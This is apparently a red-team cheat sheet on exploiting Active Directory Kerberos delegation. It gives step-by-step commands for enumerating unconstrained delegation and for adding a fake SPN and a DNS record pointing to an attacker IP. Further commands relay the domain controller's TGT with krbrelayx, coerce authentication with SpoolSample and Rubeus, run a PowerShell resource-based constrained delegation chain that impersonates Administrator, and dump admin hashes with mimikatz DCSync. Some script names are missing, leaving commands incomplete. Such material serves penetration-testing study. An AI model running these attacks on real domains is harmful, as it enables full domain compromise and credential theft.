Active Directory Delegations

Unconstrained Delegation

# Nice resource for user account =/= machine account in UC

# AD Objects having Unconstrained Delegation issues have the TRUSTED_FOR_DELEGATION flag set

# You can search for users using Pywerview
$ python get-netuser -u ownedUser -p userPassword -d foo.lan -t --unconstrained

# You can also request through ldapdomain dump and then grep for interesting
$ ldapdomaindump -u "foo.lan\\ownedUser" -p "userPassword"

# Using Powershell and the ADModule (
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# Compromised User having Unconstrained Delegation

# 1/ Add a fake SPN using the pwnedUser
$ python -u foo.lan\\ownedUser -p userPassword -s host/ ldap://

# 2/ Create a new DNS record pointing the fake SPN to our attacking IP
$ python -u foo.lan\\ownedUser -p userPassword -r -a add -d <attacker-IP>

# 3/ In one shell, start krbrelayx (salt is case sensitive!)
$ sudo python --krbsalt foo.lanownedUser --krbpass userPassword

# 4/ In another shell
$ python foo.lan/

# It will force the target DC to connect to our fake new "computer" configured through
# Unconstrained Delegation. It will then embed a copy of the DC$ TGT, being saved by krbrelayx.

# Then...
export KRB5CCNAME=/path/to/ticket.ccache
$ python -k -just-dc     
# Compromised Machine/Server having Unconstrained Delegation

# If you compromised a machine having UC you can use it to get a copy of the DC's TGT
# In Powershell you can check for the spoolss presence
PS> ls \\<dc-ip>\pipe\spoolss

# On the compromised machine, start monitoring with Rubeus
Rubeus.exe monitor /interval:1 

# Then using the SpoolSample PoC (
# You can force the DC to connect to the owned machine
# Delegation being set, you will get a copy of the DC$ TGT in Rubeus

RBCD Exploitation

# Importing Powerview and Powermad
Import-Module .\Powerview.ps1
Import-Module .\Powermad.ps1

# Authentication
$TargetComputer = "DC01.domain.lan"
$SecPassword = ConvertTo-SecureString 'passw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\ControlledAccount', $SecPassword)

# Get our user's SID
$AttackerSID = Get-DomainUser ControlledUser -Credential $Cred -Server -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL $TargetComputer -Credential $Cred -Server | ?{$_.SecurityIdentifier -match $AttackerSID}

# Adding a machine and getting SID
New-MachineAccount -Credential $Cred -Domain domain.lan -DomainController -MachineAccount lleXXXXX -Password $(ConvertTo-SecureString 'passw0rd' -AsPlainText -Force)
$ComputerSID = Get-DomainComputer lleXXXXX -Credential $Cred -Server -Properties objectsid | Select -Expand objectsid

# Creating structure to store in Allowedtoact in the DC
$SD= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Rewrite Allowedtoact properties on the DC
Get-DomainComputer $TargetComputer -Credential $Cred -Server | Set-DomainObject -Credential $Cred -Server -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Now you can impersonate the domain admin account on the DC using the machine account
.\Rubeus.exe hash /password:passw0rd /user:lleXXXXX /domain:domain.lan
.\Rubeus.exe s4u /user:lleXXXXX$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:ldap/DC01.domain.lan /ptt /dc: /domain:domain.lan
.\Rubeus.exe klist

# Then, you can get the NTLM hash of domain admin using DCSync and Mimikatz
mimikatz> lsadump::dcsync /user:domain\Adminisrator /domain:domain.lan /dc:DC01.domain.lan